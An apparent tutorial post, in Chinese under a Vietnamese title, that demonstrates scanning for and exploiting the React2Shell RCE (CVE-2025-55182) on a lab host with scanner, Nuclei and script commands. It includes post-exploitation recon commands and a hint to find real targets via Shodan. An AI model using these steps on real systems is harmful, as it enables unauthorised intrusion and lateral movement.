
Khai thác lỗ hổng bảo mật CVE-2025-55182
CVE-2025-55182,又称 React2Shell,是一种严重的远程代码执行(RCE)漏洞,影响 React 服务端组件(RSC)。它使用 Flight 协议在客户端和服务器之间通信。当客户端请求数据时,服务器接收 payload 并解析该 payload,这可能允许攻击者插入恶意结构或任意代码,而这些被 React 视为有效。
| 项目 | 内容 |
|---|---|
| 危险等级 | 严重(CVSS 10.0) |
| 类型 | 不安全反序列化(CWE-502) |
| 攻击方式 | 远程,无需认证 |
| 受影响版本: | React: 19.0.0,19.1.0,19.1.1,19.2.0 及 Next.js: 15.0.0 – 15.0.4,15.1.0 – 15.1.8,15.2.0 – 15.2.5,15.3.0 – 15.3.5,15.4.0 – 15.4.7,15.5.0 – 15.5.6,16.0.0 – 16.0.6 |
服务器处理来自客户端的 payload 而未进行充分校验,允许攻击者:
该漏洞的利用活动自 2025 年 12 月 5 日起已被发现。大多数成功利用来自攻击团队的评估。Windows 和 Linux 环境均受影响。
安装
pip install -r requirements.txt
扫描存在漏洞的服务器:
python3 scanner.py -u https://example.com
输入需要扫描的路径(这里我输入自己的漏洞机地址 http://192.168.10.1:3000)
得到结果:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
扫描主机列表:
python3 scanner.py -l hosts.txt
多线程扫描并保存结果:
python3 scanner.py -l hosts.txt -t 20 -o results.json
使用自定义头部扫描:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
扫描 Windows 目标:
python3 scanner.py -u https://example.com --windows
使用安全的带外检测方法:
python3 scanner.py -u https://example.com --safe-check
如你所见,我们遇到了一个安全漏洞,这意味着我们提供的服务器容易受到攻击者的攻击。
现在我们将使用 Nuclei 来检查上述服务器存在哪些有 PoC 的漏洞。该功能通过发送自定义请求来运作,可减少误报并支持并行扫描。
nuclei -t scan.yaml -u http://192.168.10.1:3000
得到的结果
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
系统已检测到该服务器存在漏洞,并可被 CVE-2025-55182 漏洞利用。由此你可以看出这是一个相当危险且重要的漏洞,在社交平台上已有大量 PoC。☺☺☺
你可以看到,仅凭这些信息就足以确认应用程序中存在安全漏洞。为了证明该应用程序可被利用来远程执行命令或代码,我将开始 PoC。
chmod +x scanner.sh
# 检查目标是否存在漏洞
./datscan.sh -d example.com
# 执行命令检查当前用户
./datscan.sh -d example.com -c "whoami"
# 使用完整 URL
./datscan.sh -d example.com -c "uname -a"
含义:
返回当前运行服务器进程的用户
有助于确定:
=> 这是确认 RCE 成功的最基本命令。
-d, --domain - 域名/URL-c, --command - 要执行的命令(例如:whoami, hostname,...)# 检查主机名
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# 确定操作系统版本
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# 检查命令执行是否稳定工作
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
这是成功利用后的初始侦察步骤。
帮助我们确认:RCE 正常工作,确定操作系统等。
由于本实验我是在个人实验室环境中演示,以避免涉及违法问题,因此使用 HTTP 头部窃取数据、大输出或特殊字符可能会导致:
ERR_INVALID_CHAR
短命令(例如 whoami,ver)在测试环境中更可靠地用于演示。
如果你不喜欢,可以使用 shodan 直接在真实环境中检查 IP 地址,然后按照我上面的实验进行操作(不推荐)。
如以上所述。本工具仅用于教育和授权的安全测试目的。请勿使用本工具测试你不拥有或没有测试权限的系统。
| 各执行命令的含义 | 内容 |
|---|
| 返回主机名 | 用于: - 标识受影响的系统 - 服务于横向移动(内网环境) |
| 确定操作系统版本 | 对于以下操作很重要: - 评估进一步利用的可能性(权限提升) - 选择适当的利用程序 |
| 检查命令执行 | 用于调试 payload / 扫描器 |
| 返回当前用户名 | 在这种情况下: - 如果用户是 ADMIN → 可能拥有高权限 - 在某些 Windows 情况下比 whoami 更重要 |
| 返回主机名 | 通过环境变量返回主机名 |